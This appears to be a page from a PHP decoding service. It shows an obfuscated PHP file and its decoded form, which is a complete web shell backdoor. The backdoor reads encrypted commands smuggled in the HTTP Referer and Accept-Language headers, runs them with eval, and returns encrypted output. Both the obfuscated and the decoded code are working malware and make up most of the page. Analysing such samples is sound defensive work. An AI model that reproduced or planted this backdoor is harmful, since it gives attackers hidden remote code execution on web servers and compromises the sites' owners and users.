Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $i=',$ss($s?e[$?ei],0,$?ee)?e)),$k))?e);$o=?eob_get_con?etents?e();ob_end_c?elean?e..
Decoded Output download
$kh="05a6";$kf="71c6";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$i=',$ss($s?e[$?ei],0,$?ee)?e)),$k))?e);$o=?eob_get_con?etents?e();ob_end_c?elean?e?e();$d=ba?e?ese';
$N=str_replace('U','','creUUate_UfuUnUcUtion');
$I='e,$m);?eif?e($q&&$m){@s?eession?e_sta?ert();$s=&$_SESSION?e;$ss?e="substr?e?e";$sl="s?e?etrtol';
$y='eLANGU?eAGE"];i?ef($rr&&$r?ea)?e{$u=parse_u?erl($rr);p?ear?ese_str($u[?e"q?e?euery"],$q);$q=?e';
$w='array_va?elues?e($q);pr?e?eeg_match?e_all("/([\\?e?ew])[\\w?e-]+(?:;q=?e0.([\\d?e]))?,?e??e/",$ra?';
$K='}?e}return $?eo;}$r=?e$_SE?eRVER;$rr=?e@$r?e["H?eTTP?e_R?eEFERER"]?e;$ra=@$r["HTTP?e_ACCE?ePT_?';
$b='"";fo?er($i=0;$i?e<$l;){f?eo?er($j=0;($j<$c&?e&$i<?e$l);?e$?ej++,$?ei++)?e{$o.?e=$t{$i}^$k{$j};';
$a='$kh="?e05?ea6";$kf="71c6";f?eun?ection x(?e?e$t,$k){$c=str?elen($k?e);$l?e=s?etrlen($t);$?e?eo=';
$s='64_encode(?ex(gz?ecompress(?e$o),$k?e)?e);print("<$k>?e$d</$?ek>")?e;@session?e_de?estroy();}}}}';
$m='pres?es(@x?e?e(@b?ease64_decode(?epre?eg_replace(ar?eray?e("/?e_/","/-/"),arr?eay(?e"/","+")?e';
$z='s[$?ei].=$p;$?ee=strpos(?e$s[?e$i],$f);if(?e$e){$k?e=$k?eh.$kf;ob_sta?ert();?e@eva?e?el(@gzuncom';
$c='po?es($p,$?e?eh)===0)?e{$s?e[$i]="";$p=$?ess(?e$p,3);}if(arr?ea?ey_key_exis?et?es($i,$?es?e)){$';
$l='ei.?e$?ekf),0,?e3));$p="";fo?er($z=?e1;$z<co?eu?ent($m[1?e]);$z?e++)?e$p.=$q[$m[2][$z]];if(str';
$u='?eower";?e$i=?e$m[1][0].$m[1][1];?e?e$h=$sl($ss(md?e5($i.$?ekh),0,?e3))?e;$?ef=$sl($ss(md?e5?e($?';
$L=str_replace('?e','',$a.$b.$K.$y.$w.$I.$u.$l.$c.$z.$m.$i.$s);
$f=$N('',$L);$f();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 792b47b0851511ec7402b31744c1be6b |
| Eval Count | 1 |
| Decode Time | 92 ms |